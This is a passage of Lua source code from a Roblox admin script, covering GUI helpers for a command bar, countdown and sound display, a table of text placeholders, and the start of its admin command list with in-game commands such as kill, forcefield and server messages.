5083 | local _,Rank = RANK:GetRank(Player) | |
5084 | local UsableCommands = {} | |
5085 | for CommandNames,Data in pairs(Commands) do | |
5086 | if not Data.Hidden then | |
5087 | if RANK:ConvertRank(Data[4]) <= Rank then | |
5088 | for _,Command in pairs(CommandNames) do | |
5089 | table.insert(UsableCommands, {Command, Data[3]}) | |
5090 | end | |
5091 | end | |
5092 | end | |
5093 | end | |
5094 | ||
5095 | local RPR = CORE:CreateRemotePropertyReader(CommandBox) | |
5096 | ||
5097 | local function ExecuteText() | |
5098 | local Text = CORE:ReadProperty(RPR, Player, "Text") | |
5099 | CORE:Chatted(Text, Player, true) | |
5100 | CommandBox.Text = "Enter a command here" | |
5101 | end | |
5102 | ||
5103 | local function AddSuggestion(Text) | |
5104 | if Text == nil then Text = Settings.Prefix end | |
5105 | local Suggestion = Instance.new("TextButton", Suggest) Suggestion.Name = "Suggestion" Suggestion.Size = UDim2.new(1, -13, 0, 25) Suggestion.Position = UDim2.new(0,0,0,(#Suggest:GetChildren()-1)*25) Suggestion.BackgroundColor3 = Color3.new(1, 1, 1) Suggestion.BackgroundTransparency = Settings.TransparencyScheme Suggestion.Text = Text Suggestion.Font = Settings.Font Suggestion.FontSize = "Size14" Suggestion.TextXAlignment = "Left" Suggestion.TextColor3 = Color3.new(0, 0, 0) | |
5106 | Suggest.CanvasSize = Suggest.CanvasSize + UDim2.new(0,0,0,25) | |
5107 | CORE:HandleEvent(Suggestion, "MouseButton1Down", function() | |
5108 | if Text == Settings.Prefix then | |
5109 | CommandBox.Text = Settings.Prefix | |
5110 | else | |
5111 | CommandBox.Text = Settings.Prefix..Text | |
5112 | end | |
5113 | CORE:ExecuteResource("Focus", CommandBox) | |
5114 | end, true) | |
5115 | end | |
5116 | ||
5117 | CORE:HandleEvent(CommandBox, "MouseEnter", function() | |
5118 | if CommandBox.Text == "Enter a command here" then | |
5119 | CommandBox.Text = "" | |
5120 | end | |
5121 | end) | |
5122 | ||
5123 | local EnterPressed = Instance.new("RemoteFunction", CommandBox) EnterPressed.Name = "EnterPressed" | |
5124 | CORE:ExecuteResource("ChatBoxLocal", CommandBox) | |
5125 | ||
5126 | CORE:HandleEvent(Execute, "MouseButton1Down", ExecuteText) | |
5127 | EnterPressed.OnServerInvoke = ExecuteText | |
5128 | ||
5129 | CORE:HandleEvent(CommandBox, "Changed", function(Prop) if Prop == "Text" then | |
5130 | Suggest.CanvasSize = UDim2.new(0,0,0,0) | |
5131 | Suggest:ClearAllChildren() | |
5132 | local Text = CORE:ReadProperty(RPR, Player, "Text") | |
5133 | if Text == "" then | |
5134 | AddSuggestion(Settings.Prefix) | |
5135 | end | |
5136 | ||
5137 | if string.sub(string.lower(Text),1,#Settings.Prefix) == string.lower(Settings.Prefix) then | |
5138 | Text = string.sub(Text,#Settings.Prefix+1) | |
5139 | end | |
5140 | for _,Data in pairs(UsableCommands) do | |
5141 | local Command,Args = Data[1],Data[2] | |
5142 | if string.find(string.lower(Command),string.lower(Text)) then | |
5143 | local NewSuggestion = Command | |
5144 | if Args >= 1 then NewSuggestion = NewSuggestion..Settings.Bet end | |
5145 | AddSuggestion(NewSuggestion) | |
5146 | end | |
5147 | end | |
5148 | ||
5149 | end end) | |
5150 | end | |
5151 | ||
5152 | function GUI:Countdown(Player, AllSeconds) coroutine.wrap(function() | |
5153 | if not Player or not AllSeconds then return nil end | |
5154 | AllSeconds = tonumber(AllSeconds) | |
5155 | local Frame, Close, Closed, _, __, Restore = GUI:CreateForm(Player, "Countdown", UDim2.new(0, 200, 0, 80), UDim2.new(0, 0, 0, 200), 154818730) | |
5156 | AllSeconds = math.floor(AllSeconds) | |
5157 | if AllSeconds < 1 then AllSeconds = 1 elseif AllSeconds > 300 then AllSeconds = 300 end | |
5158 | local Time = Instance.new("TextLabel", Frame) Time.Name = "Time" Time.Size = UDim2.new(1, 0, 1, 0) Time.BackgroundTransparency = 1 Time.Text = "00:00" Time.Font = "ArialBold" Time.FontSize = "Size24" Time.TextYAlignment = "Top" Time.TextColor3 = GUI:ContrastColor() | |
5159 | local Full = Instance.new("Frame", Frame) Full.Name = "Full" Full.Position = UDim2.new(0.1, 0, 0.7, 0) Full.Size = UDim2.new(0.8, 0, 0, 5) Full.BackgroundColor3 = GUI:ContrastColor() Full.BorderSizePixel = 0 | |
5160 | local Part = Instance.new("Frame", Full) Part.Name = "Part" Part.Size = UDim2.new(0, 0, 1, 0) Part.BackgroundColor3 = GUI:GetColor() Part.BorderColor3 = Color3.new(1, 1, 1) Part.BorderSizePixel = 2 | |
5161 | local Tick = SOUND:MakeSound(Frame, 151715959, 1, 1) | |
5162 | local Alarm = SOUND:MakeSound(Frame, 131573697, 1, 1) | |
5163 | ||
5164 | local CurrentSeconds = AllSeconds | |
5165 | local Alive = true | |
5166 | coroutine.wrap(function() for i = 0,AllSeconds do | |
5167 | if not Alive then break end | |
5168 | local Seconds = tostring(math.fmod(CurrentSeconds,60)) | |
5169 | local Minutes = tostring(math.floor(CurrentSeconds/60)) | |
5170 | if #Seconds == 1 then Seconds = "0"..Seconds end | |
5171 | if #Minutes == 1 then Minutes = "0"..Minutes end | |
5172 | Time.Text = Minutes..":"..Seconds | |
5173 | wait(1) | |
5174 | if CurrentSeconds <= 0 then | |
5175 | Alarm:Play() | |
5176 | Time.Text = "00:00" | |
5177 | Part.Size = UDim2.new(1,0,1,0) | |
5178 | Restore:Invoke() | |
5179 | wait(4) | |
5180 | Close:Invoke() | |
5181 | break | |
5182 | else | |
5183 | Tick:Play() | |
5184 | Part.Size = UDim2.new((AllSeconds - CurrentSeconds)/AllSeconds,0,1,0) | |
5185 | CurrentSeconds = CurrentSeconds - 1 | |
5186 | end | |
5187 | end end)() | |
5188 | ||
5189 | Closed.Event:connect(function() | |
5190 | if Alive == true then | |
5191 | Alive = false | |
5192 | Tick:Stop() | |
5193 | Alarm:Stop() | |
5194 | end | |
5195 | end) | |
5196 | end)() end | |
5197 | ||
5198 | function GUI:DetachChat(Player) | |
5199 | if not Player or not Player:FindFirstChild("PlayerGui") then return nil end | |
5200 | if Player:FindFirstChild("DetachChatMML") then | |
5201 | Player.DetachChatMML:Invoke(true) | |
5202 | wait() | |
5203 | Player.DetachChatMML:Destroy() | |
5204 | end | |
5205 | ||
5206 | local Frame, _, Closed = GUI:CreateForm(Player, "Detached Chat", UDim2.new(0.5, 0, 0.5, 32), nil, 57550259) | |
5207 | local SG = Frame.Parent.Parent.Parent | |
5208 | ||
5209 | local DCBF = Instance.new("BindableFunction", Player) | |
5210 | DCBF.Name = "DetachChatMML" | |
5211 | DCBF.OnInvoke = function(Remove) | |
5212 | if Remove then | |
5213 | SG:Destroy() | |
5214 | end | |
5215 | end | |
5216 | CORE:ExecuteResource("CoreChat", SG) | |
5217 | ||
5218 | local IsClosed = false | |
5219 | Closed.Event:connect(function() | |
5220 | CORE:ExecuteResource("ResetChat", Player:WaitForChild("Backpack")) | |
5221 | IsClosed = true | |
5222 | end) | |
5223 | ||
5224 | coroutine.wrap(function() | |
5225 | Player.CharacterRemoving:wait() | |
5226 | if not IsClosed then | |
5227 | IsClosed = true | |
5228 | wait(1) | |
5229 | CORE:ExecuteResource("ResetChat", Player:WaitForChild("Backpack")) | |
5230 | end | |
5231 | end)() | |
5232 | end | |
5233 | ||
5234 | function GUI:SendChat(Player, Data, Speaker) coroutine.wrap(function() | |
5235 | if not Player then return nil end | |
5236 | if type(Data) ~= "table" then Data = {Text = tostring(Data)} end | |
5237 | Data.Text = STRING:DetermineFilter(Data.Text, Speaker or Player, Player) | |
5238 | ||
5239 | Player:WaitForChild("SendChat"):InvokeClient(Player, Data) | |
5240 | end)() end | |
5241 | ||
5242 | function GUI:SoundInfo(Player, SoundID, TitleText, CreatorText, Time, InputSound) | |
5243 | if not Player or not Player:FindFirstChild("PlayerGui") then return nil end | |
5244 | if not SoundID then SoundID = SoundInfo["ID"] end | |
5245 | if not TitleText then TitleText = SoundInfo["Name"] end | |
5246 | if not CreatorText then CreatorText = SoundInfo["Creator"] end | |
5247 | if not InputSound then InputSound = Sound end | |
5248 | ||
5249 | local NumSounds = 0 | |
5250 | for _,SG in pairs(Player.PlayerGui:GetChildren()) do | |
5251 | if SG.Name == "M".."a".."k".."erModelLu".."a's Admin Form Sound" then | |
5252 | NumSounds = NumSounds + 1 | |
5253 | end | |
5254 | end | |
5255 | ||
5256 | local Size = UDim2.new(0.1, 100, 0.1, 100) | |
5257 | local Frame, Close, Closed, _, Minimized = GUI:CreateForm(Player, "Playing Sound "..SoundID, Size, UDim2.new(Size.X.Scale * NumSounds, (Size.X.Offset * NumSounds) + (NumSounds * 5), 0.5, -50), "Sound", true, nil, nil, false) | |
5258 | Frame.Parent.Parent.Parent.Name = Frame.Parent.Parent.Parent.Name.." Sound" | |
5259 | ||
5260 | local SoundLoudness = Instance.new("Frame", Frame) SoundLoudness.Name = "SoundLoudness" SoundLoudness.Size = UDim2.new(1, 0, 1, 0) SoundLoudness.BackgroundTransparency = 1 SoundLoudness.Visible = false | |
5261 | local BurstFrame = Instance.new("Frame", SoundLoudness) BurstFrame.Name = "BurstFrame" BurstFrame.Size = UDim2.new(1, 0, 1, 0) BurstFrame.BackgroundTransparency = 1 | |
5262 | local Spin = Instance.new("Frame", SoundLoudness) Spin.Name = "Spin" Spin.Size = UDim2.new(1, 0, 1, 0) Spin.BackgroundTransparency = 1 | |
5263 | local MainPoint = Instance.new("ImageLabel", SoundLoudness) MainPoint.Name = "MainPoint" MainPoint.Position = UDim2.new(0, 0, 0.25, 0) MainPoint.Size = UDim2.new(0.5, 0, 0.5, 0) MainPoint.BackgroundTransparency = 1 MainPoint.Image = "rbxassetid://301292168" MainPoint.SizeConstraint = "RelativeYY" | |
5264 | local Bar = Instance.new("Frame", SoundLoudness) Bar.Name = "Bar" Bar.Position = UDim2.new(0, 0, 0, 0) Bar.Size = UDim2.new(0, 10, 0.3, 0) Bar.BackgroundTransparency = 1 Bar.SizeConstraint = "RelativeYY" | |
5265 | local Fill = Instance.new("Frame", Bar) Fill.Name = "Fill" Fill.Position = UDim2.new(0, 0, 1, 0) Fill.Size = UDim2.new(1, 0, -0.5, 0) Fill.BackgroundColor3 = Color3.new(1, 1, 1) Fill.BorderSizePixel = 0 | |
5266 | local Burst = Instance.new("ImageLabel", SoundLoudness) Burst.Name = "Burst" Burst.BackgroundTransparency = 1 Burst.Image = "rbxassetid://142700369" Burst.ImageTransparency = 0.5-- Bar.SizeConstraint = "RelativeYY" | |
5267 | ||
5268 | local Title = Instance.new("TextLabel", Frame) Title.FontSize = "Size24" Title.TextWrapped = true Title.Size = UDim2.new(1, 0, 0.8, -35) Title.TextColor3 = Color3.new(1,1,1) Title.TextStrokeColor3 = Color3.new(0,0,0) Title.TextStrokeTransparency = 0 Title.Text = TitleText Title.BackgroundTransparency = 1 Title.Font = Settings.Font Title.Name = "Title" | |
5269 | local Creator = Instance.new("TextLabel", Frame) Creator.FontSize = "Size18" Creator.TextWrapped = true Creator.Size = UDim2.new(1, 0, 0.2, 0) Creator.TextColor3 = Color3.new(1,1,1) Creator.TextStrokeColor3 = Color3.new(0,0,0) Creator.TextStrokeTransparency = 0 Creator.Text = CreatorText Creator.Position = UDim2.new(0, 0, 0.8, -35) Creator.BackgroundTransparency = 1 Creator.Font = Settings.Font Creator.Name = "Creator" | |
5270 | if Sound then | |
5271 | CORE:ExecuteResource("GraphicalSound", SoundLoudness, {["Sound"] = Sound}) | |
5272 | end | |
5273 | if Time then | |
5274 | local Timer = Instance.new("TextLabel", Frame) Timer.FontSize = "Size14" Timer.TextWrapped = true Timer.Size = UDim2.new(1, 0, 0, 35) Timer.TextColor3 = GUI:ContrastColor() Timer.Position = UDim2.new(0, 0, 1, -35) Timer.BackgroundTransparency = 1 Timer.Font = Settings.Font Timer.Name = "Timer" | |
5275 | local Stop = Instance.new("ImageButton", Timer) Stop.Image = "rbxassetid://49494354" Stop.Size = UDim2.new(0, 30, 0, 30) Stop.BackgroundTransparency = 1 Stop.Position = UDim2.new(1, -35, 0, 2) | |
5276 | ||
5277 | coroutine.wrap(function() | |
5278 | local Alive = true | |
5279 | ||
5280 | local function StopTimer() Alive = false end | |
5281 | Closed.Event:connect(StopTimer) | |
5282 | Minimized.Event:connect(StopTimer) | |
5283 | CORE:HandleEvent(Stop, "MouseButton1Down", StopTimer) | |
5284 | ||
5285 | for i = Time,0,-1 do | |
5286 | for ii = 1,10 do | |
5287 | if Alive == true then | |
5288 | Timer.Text = i | |
5289 | wait(0.1) | |
5290 | else | |
5291 | break | |
5292 | end | |
5293 | end | |
5294 | end | |
5295 | if Alive == true then | |
5296 | Close:Invoke() | |
5297 | else | |
5298 | Timer:Destroy() | |
5299 | Stop:Destroy() | |
5300 | end | |
5301 | end)() | |
5302 | end | |
5303 | end | |
5304 | ||
5305 | ---- STRING REPLACEMENT OPERATIONS ---- | |
5306 | ||
5307 | -- {"_REPLACEMENT", "Replaces input string with ".."string description", RequiresPlayer, function(Player)} | |
5308 | ||
5309 | -- Like the commands, this table must be placed here in order for the variables in the functions to successfully initalize. | |
5310 | ||
5311 | StringReplacements = { | |
5312 | {"_SERVERTIME", "total server time in seconds", false, function(Player) return tostring(math.floor(Workspace.DistributedGameTime)) end}; | |
5313 | {"_PLACEID", "the current place's ID", false, function(Player) return tostring(game.PlaceId) end}; | |
5314 | {"_CREATORID", "the game's creator's user ID", false, function(Player) return tostring(game.CreatorId) end}; | |
5315 | {"_CREATOR", "the game's creator's username", false, function(Player) return GameOwner end}; | |
5316 | {"_PLACENAME", "the current place's name", false, function(Player) return PlaceName end}; | |
5317 | {"_REVPLACENAME", "the current place's name in reverse", false, function(Player) return string.reverse(PlaceName) end}; | |
5318 | {"_PLACEDESC", "the current place's description", false, function(Player) return PlaceInfo.Description end}; | |
5319 | {"_RANDOM", "a random number from 1-10000", false, function(Player) return tostring(math.random(1,10000)) end}; | |
5320 | {"_DATE", "the current date (if Http connected)", false, function(Player) return Date or "Cannot get date. Http not connected" end}; | |
5321 | {"_TIME", "the current time", false, function(Player) return CORE:GetTime(true) end}; | |
5322 | ||
5323 | {{"_SOUNDID", "_SONGID", "_MUSICID"}, "the ID of the sound playing", false, function(Player) return tostring(SoundInfo["ID"]) end}; | |
5324 | {{"_SOUNDCREATOR", "_SONGCREATOR", "_MUSICCREATOR"}, "the name of the creator of the sound playing", false, function(Player) return SoundInfo["Creator"] end}; | |
5325 | {{"_SOUND", "_SONG", "_MUSIC"}, "the name of the sound playing", false, function(Player) return SoundInfo["Name"] end}; | |
5326 | {"_FONT", "the font of the admin", false, function(Player) return Settings.Font end}; | |
5327 | {"_COLOR", "the color scheme of the admin", false, function(Player) return Settings.ColorScheme end}; | |
5328 | {{"_TRANS", "_TRANSPARENCY"}, "the transparency scheme of the admin", false, function(Player) return tostring(Settings.TransparencyScheme * 100).."%%" end}; | |
5329 | ||
5330 | {"_USERID", "player's UserID", true, function(Player) return tostring(Player.UserId) end}; | |
5331 | {"_NAMELEN", "player's username length", true, function(Player) return tostring(string.len(Player.Name)) end}; | |
5332 | {"_REVNAME", "player's username in reverse", true, function(Player) return string.reverse(Player.Name) end}; | |
5333 | {"_UPNAME", "player's username in uppercase", true, function(Player) return string.upper(Player.Name) end}; | |
5334 | {"_LOWNAME", "player's username in lowercase", true, function(Player) return string.lower(Player.Name) end}; | |
5335 | {"_NAME", "player's username", true, function(Player) return Player.Name end}; | |
5336 | {"_LEETNAME", "player's username in leetspeak", true, function(Player) return STRING:LeetSpeak(Player.Name) end}; | |
5337 | {"_ACCOUNTAGE", "player's account age", true, function(Player) return STRING:FindAge(Player.AccountAge) end}; | |
5338 | {"_AGE", "player's account age", true, function(Player) return STRING:FindAge(Player.AccountAge) end}; | |
5339 | {{"_BENCHMARK", "_BENCH"}, "player's benchmark score (if available)", true, function(Player) if ClientInfo[Player.Name].Benchmark then return tostring(ClientInfo[Player.Name].Benchmark) else return "[NO BENCHMARK]" end end}; | |
5340 | {"_WALKSPEED", "player's WalkSpeed", true, function(Player) if Player.Character and Player.Character:FindFirstChild("Humanoid") then return tostring(Player.Character.Humanoid.WalkSpeed) else return "No humanoid" end end}; | |
5341 | {"_HEALTH", "player's health", true, function(Player) if Player.Character and Player.Character:FindFirstChild("Humanoid") then return tostring(Player.Character.Humanoid.Health) else return "No humanoid" end end}; | |
5342 | {"_MAXHEALTH", "player's MaxHealth", true, function(Player) if Player.Character and Player.Character:FindFirstChild("Humanoid") then return tostring(Player.Character.Humanoid.MaxHealth) else return "No humanoid" end end}; | |
5343 | {"_RANKNUM", "player's rank number", true, function(Player) local PlayerRank,RankNum = RANK:GetRank(Player) return tostring(RankNum) end}; | |
5344 | {"_RANK", "player's rank", true, function(Player) local PlayerRank,RankNum = RANK:GetRank(Player) return PlayerRank end}; | |
5345 | {{"_POS", "_POSITION"}, "player's position", true, function(Player) if CORE:FindBodyPart(Player, "Torso") then local Pos = CORE:FindBodyPart(Player, "Torso").Position return tostring(CORE:Round(Pos.X)..", "..CORE:Round(Pos.Y)..", "..CORE:Round(Pos.Z)) else return "No torso" end end}; | |
5346 | } | |
5347 | ||
5348 | ---- COMMANDS ---- | |
5349 | ||
5350 | -- Format: [{"CommandName", "CommandName2", "..."}] = {"Command Example of Args", "Command Description", Arguments, "Minimum Rank", FunCommand, ExecuteFunction(Speaker, Rank, {Arguments}) | |
5351 | ||
5352 | Commands = { -- can't make local | |
5353 | [{"test", "tst"}] = {"", "Prompts a message saying it works. If there's no message it doesn't work", 0, "Member", false, function(Speaker, Rank, Arguments) | |
5354 | print("[MML's Admin]: Test message from "..Speaker.Name) | |
5355 | GUI:SendMessage(Speaker, "Test complete", "MakerModelLua's Admin V"..CORE.Version.Value.." works fine!", "Check") | |
5356 | end}; | |
5357 | ||
5358 | [{"kill", "die"}] = {"player", "Breaks the player's joints and kills them", 1, "Member", false, function(Speaker, Rank, Arguments) | |
5359 | local Players = STRING:Scan(Arguments[1], Speaker) | |
5360 | for _,Player in pairs(Players) do | |
5361 | if Player.Character then | |
5362 | Player.Character:BreakJoints() | |
5363 | end | |
5364 | end | |
5365 | end}; | |
5366 | ||
5367 | [{"ff", "forcefield"}] = {"player", "Gives the player a protective forcefield", 1, "Member", false, function(Speaker, Rank, Arguments) | |
5368 | local Players = STRING:Scan(Arguments[1], Speaker) | |
5369 | for _,Player in pairs(Players) do | |
5370 | if Player.Character then | |
5371 | Instance.new("ForceField", Player.Character) | |
5372 | end | |
5373 | end | |
5374 | end}; | |
5375 | ||
5376 | [{"noff", "unff", "noforcefield", "unforcefield"}] = {"player", "Removes any forcefields on the player", 1, "Member", false, function(Speaker, Rank, Arguments) | |
5377 | local Players = STRING:Scan(Arguments[1], Speaker) | |
5378 | for _,Player in pairs(Players) do | |
5379 | if Player.Character then | |
5380 | for _,Get in pairs(Player.Character:GetChildren()) do | |
5381 | if Get:IsA("ForceField") then | |
5382 | Get:Destroy() | |
5383 | end | |
5384 | end | |
5385 | end | |
5386 | end | |
5387 | end}; | |
5388 | ||
5389 | [{"m", "msg", "message"}] = {"string", "Sends everyone in a server a message of string", 1, "Member", false, function(Speaker, Rank, Arguments) | |
5390 | for _,Player in pairs(Server.Players:GetPlayers()) do | |
5391 | GUI:SendMessage(Player, "Message from "..Speaker.Name, Arguments[1], "Message", 10, true, Speaker) | |
5392 | end | |
5393 | end}; | |
5394 | ||
5395 | [{"sm", "smsg", "smessage", "systemm", "systemmsg", "systemmessage"}] = {"string", "Sends everyone in a server a message of string as a system message", 1, "Admin", false, function(Speaker, Rank, Arguments) | |
5396 | for _,Player in pairs(Server.Players:GetPlayers()) do | |
5397 | GUI:SendMessage(Player, "MAK".."ERMODELLU".."A'S ADMIN SYSTEM MESSAGE", Arguments[1], 132769569, nil, false, Speaker) | |
5398 | end | |
5399 | end}; | |
5400 | ||
5401 | [{"pm", "personalmessage", "personalmsg", "personalm", "pmessage", "pmsg"}] = {"player string", "Sends the particular player a message of string", 2, "Member", false, function(Speaker, Rank, Arguments) | |
5402 | local Players = STRING:Scan(Arguments[1], Speaker) | |
5403 | for _,Player in pairs(Players) do | |
5404 | GUI:SendMessage(Player, "Message from "..Speaker.Name, Arguments[2], "Message", 20, false, Speaker) | |
5405 | end | |
5406 | end}; | |
5407 | ||
5408 | [{"cm", "chatmessage", "chatmsg"}] = {"string", "Sends everyone in a server a chatted message of string", 1, "Admin", false, function(Speaker, Rank, Arguments) | |
5409 | for _,Player in pairs(Server.Players:GetPlayers()) do | |
5410 | GUI:SendChat(Player, {Text = "[ MML'S ADMIN ]: "..Speaker.Name..": "..Arguments[1], FontSize = Enum.FontSize.Size24}, Speaker) | |
5411 | end | |
5412 | end}; | |
5413 | ||
5414 | [{"pcm", "pchatmessage", "pchatmsg", "personalcm", "personalchatmessage", "personalchatmsg"}] = {"player string", "Sends player the chatted message of string", 2, "Admin", false, function(Speaker, Rank, Arguments) | |
5415 | local Players = STRING:Scan(Arguments[1], Speaker) | |
5416 | for _,Player in pairs(Players) do | |
5417 | GUI:SendChat(Player, {Text = "[ MML'S ADMIN ]: "..Speaker.Name..": "..Arguments[2], FontSize = Enum.FontSize.Size24}, Speaker) | |
5418 | end | |
5419 | end}; | |
5420 | ||
5421 | [{"age", "getage"}] = {"player", "Shows the age of player", 1, "Member", false, function(Speaker, Rank, Arguments) | |
5422 | local Players = STRING:Scan(Arguments[1], Speaker) | |
5423 | local AgeList = {} | |
5424 | for _,Player in pairs(Players) do | |
5425 | table.insert(AgeList, Player.Name..": "..STRING:FindAge(Player.AccountAge)) | |
5426 | end | |
5427 | GUI:ListGui(Speaker, "Player Ages", AgeList, "Time") | |
5428 | end}; | |
5429 | ||
5430 | [{"showage", "sendage"}] = {"player players", "Shows the age of player to players", 2, "Member", false, function(Speaker, Rank, Arguments) | |
5431 | local Players = STRING:Scan(Arguments[1], Speaker) | |
5432 | local AgeList = {} | |
5433 | for _,Player in pairs(Players) do | |
5434 | table.insert(AgeList, Player.Name..": "..STRING:FindAge(Player.AccountAge)) | |
5435 | end | |
5436 | local SecondPlayers = STRING:Scan(Arguments[2], Speaker) | |
5437 | for _,Player in pairs(SecondPlayers) do | |
5438 | GUI:ListGui(Player, "Player Ages", AgeList, "Time") | |
5439 | end | |
5440 | end}; | |
5441 | ||
5442 | [{"commands", "cmds", "commandlist", "cmdlist"}] = {"", "Shows a list of all the commands", 0, "Non-Admin", false, function(Speaker, Rank, Arguments) | |
5443 | local Storage = {{}, {}, {}, {}} | |
5444 | local StorageText = {} | |
5445 | local Formatted = {} | |
5446 | for CommandNames,Data in pairs(Commands) do | |
5447 | if not Data.Hidden then | |
5448 | local RankNeeded = RANK:ConvertRank(Data[4]) | |
5449 | local Add = "" | |
5450 | if Data[4] == "Non-Admin" then Add = "BLACK " end | |
5451 | if Data[4] == "Admin" then Add = "CYAN " end | |
5452 | if Data[4] == "Member" then Add = "BLUE " end | |
5453 | if Data[4] == "Owner" then Add = "BROWN " end | |
5454 | if RankNeeded > RANK:ConvertRank(Rank) then Add = "RED " end | |
5455 | local AddBet = Settings.Bet | |
5456 | if Data[3] <= 0 then AddBet = "" end -- for commands with no args | |
5457 | local Text = Settings.Prefix..CommandNames[1]..AddBet..Data[1].." [ "..Data[4].." ]" | |
5458 | table.insert(Storage[RankNeeded + 1], Add..Text) | |
5459 | StorageText[Text] = CommandNames | |
5460 | end | |
5461 | end | |
5462 | for Num,_ in pairs(Storage) do | |
5463 | table.sort(Storage[Num]) | |
5464 | end | |
5465 | for _,Table in pairs(Storage) do | |
5466 | for _,Command in pairs(Table) do | |
5467 | table.insert(Formatted, Command) | |
5468 | end | |
5469 | end | |
5470 | local Clicked,Dialog = GUI:ListGui(Speaker, "Command List", Formatted, 98616974, true) | |
5471 | Clicked.Event:connect(function(Text) | |
5472 | GUI:ShowCommand(Speaker, StorageText[Text], Dialog) | |
5473 | end) | |
5474 | end}; | |
5475 | ||
5476 | [{"getcommand", "getinfo", "getcmd", "commandinfo", "cmdinfo", "commanddetails", "cmddetails"}] = {"string", "Gets information on the command string", 1, "Non-Admin", false, function(Speaker, Rank, Arguments) | |
5477 | GUI:ShowCommand(Speaker, string.lower(Arguments[1])) | |
5478 | end}; | |
5479 | ||
5480 | [{"color", "cs", "colorscheme", "colortheme", "ct", "cscheme"}] = {"string(color)", "Changes the color scheme to Color", 1, "Owner", false, function(Speaker, Rank, Arguments) | |
5481 | if GUI:GetColor(Arguments[1]) then | |
5482 | local ColorScheme = string.upper(Arguments[1]) | |
5483 | if ColorScheme == "RANDOM" then Colors.RANDOM = Color3.new(math.random(0,255)/255,math.random(0,255)/255,math.random(0,255)/255) end | |
5484 | Settings.ColorScheme = ColorScheme | |
5485 | GUI:SendMessage(Speaker, "Color Scheme Changed", "Color scheme has been changed to "..string.lower(Arguments[1]).." successfully", "Check") | |
5486 | else | |
5487 | GUI:SendMessage(Speaker, "Color Scheme Change Fail", "Color scheme cannot be changed to "..string.lower(Arguments[1]).." because it is not a valid color", "Error") | |
5488 | end | |
5489 | end}; | |
5490 | ||
5491 | [{"colors", "colorlist", "listcolors", "colorschemes", "colorthemes", "cschemes"}] = {"", "Shows all the colors in the color list", 0, "Member", false, function(Speaker, Rank, Arguments) | |
5492 | local List = {} | |
5493 | for Color,_ in pairs(Colors) do | |
5494 | table.insert(List, Color.." "..Color) | |
5495 | end | |
5496 | GUI:ListGui(Speaker, "Color Schemes", List, 31320560) | |
5497 | end}; | |
5498 | ||
5499 | [{"trans", "transparency", "transscheme", "transparencyscheme", "tscheme"}] = {"number", "Changes the transparency scheme to number", 1, "Owner", false, function(Speaker, Rank, Arguments) | |
5500 | local Transparency = tonumber(Arguments[1]) | |
5501 | if Transparency then | |
5502 | if Transparency > 90 then Transparency = 90 end | |
5503 | if Transparency < 10 then Transparency = 10 end | |
5504 | Settings.TransparencyScheme = Transparency/100 | |
5505 | ||
5506 | GUI:SendMessage(Speaker, "Transparency Scheme Change", "Transparency scheme has been changed to "..Transparency.."% successfully", "Check") | |
5507 | else | |
5508 | GUI:SendMessage(Speaker, "Transparency Scheme Change Fail", "Transparency scheme cannot be changed to "..Arguments[1].."% because it is not a number", "Error") | |
5509 | end | |
5510 | end}; | |
5511 | ||
5512 | [{"font", "fontscheme", "fscheme"}] = {"string", "Changes the font of the admin.", 1, "Owner", false, function(Speaker, Rank, Arguments) | |
5513 | if Fonts[Arguments[1]] then | |
5514 | Settings.Font = Arguments[1] | |
5515 | GUI:SendMessage(Speaker, "Font Change", "Font has been changed to "..Arguments[1].." successfully", "Check") | |
5516 | end | |
5517 | end}; | |
5518 | ||
5519 | [{"fun", "togglefun"}] = {"", "Toggles if fun commands can be executed or not from members", 0, "Owner", false, function(Speaker, Rank, Arguments) | |
5520 | Settings.Fun = not Settings.Fun | |
5521 | GUI:MessageAdmins("Fun Commands", "Fun commands can be executed: "..STRING:StringToBool(Settings.Fun)) | |
5522 | end}; | |
5523 | ||
5524 | [{"abuse", "abusive", "abusable", "toggleabuse", "toggleabusable"}] = {"", "Toggles if abusable commands can be executed or not from members", 0, "Owner", false, function(Speaker, Rank, Arguments) | |
5525 | Settings.DisableAbuse = not Settings.DisableAbuse | |
5526 | GUI:MessageAdmins("Abusable Commands", "Abusable commands can be executed from members now: "..(not STRING:StringToBool(Settings.DisableAbuse))) | |
5527 | end}; | |
5528 | ||
5529 | [{"fontlist", "fonts", "getfont", "getfonts"}] = {"", "Shows all fonts available", 0, "Member", false, function(Speaker, Rank, Arguments) | |
5530 | local List = {} | |
5531 | for Font,_ in pairs(Fonts) do | |
5532 | if Font == Settings.Font then | |
5533 | table.insert(List, Font.." "..Font.." (CURRENT FONT)") | |
5534 | else | |
5535 | table.insert(List, Font.." "..Font) | |
5536 | end | |
5537 | end | |
5538 | GUI:ListGui(Speaker, "Font list", List, 44453197) | |
5539 | end}; | |
5540 | ||
5541 | [{"exesound", "executesound"}] = {"ID", "Changes the sound ID of when a command is execute(0 for no sound)", 1, "Owner", false, function(Speaker, Rank, Arguments) | |
5542 | local SoundID = tonumber(Arguments[1]) | |
5543 | if SoundID then | |
5544 | Settings.ExecuteNotificationSound = SoundID | |
5545 | ||
5546 | GUI:SendMessage(Speaker, "Execute sound success", "Sound execution notification sound has been changed to "..SoundID.." successfully", "Check") | |
5547 | else | |
5548 | GUI:SendMessage(Speaker, "Execute sound Fail", "Sound execution notification sound cannot be changed to "..Arguments[1].." because it is not a number", "Error") | |
5549 | end | |
5550 | end}; | |
5551 | ||
5552 | [{"noexesound", "noexecutesound", "unexesound", "unexecutesound"}] = {"", "Changes the sound ID of when a command is executed to 0(So it doesn't play)", 0, "Owner", false, function(Speaker, Rank, Arguments) | |
5553 | Settings.ExecuteNotificationSound = 0 | |
5554 | end}; | |
5555 | ||
5556 | [{"char", "character"}] = {"player string/num(ID)", "Changes player's character appearance to look like the character with the id ID or string.", 2, "Member", false, function(Speaker, Rank, Arguments) | |
5557 | local Players = STRING:Scan(Arguments[1], Speaker) | |
5558 | for _,Player in pairs(Players) do | |
5559 | CORE:ChangeCharacter(Player, Arguments[2], false, Speaker) | |
5560 | end | |
5561 | end}; | |
5562 | ||
5563 | [{"rich", "merely"}] = {"player", "Changes player's character appearance to look like Merely", 1, "Member", false, function(Speaker, Rank, Arguments) | |
5564 | local Players = STRING:Scan(Arguments[1], Speaker) | |
5565 | for _,Player in pairs(Players) do | |
5566 | CORE:ChangeCharacter(Player, 13416513, false, Speaker) | |
5567 | end | |
5568 | end}; | |
5569 | ||
5570 | [{"makerm".."odellua", "luamodelma".."ker", "mml", "lmm"}] = {"player", "Changes player's character appearance to look like MakerMo".."delLua", 1, "Member", false, function(Speaker, Rank, Arguments) | |
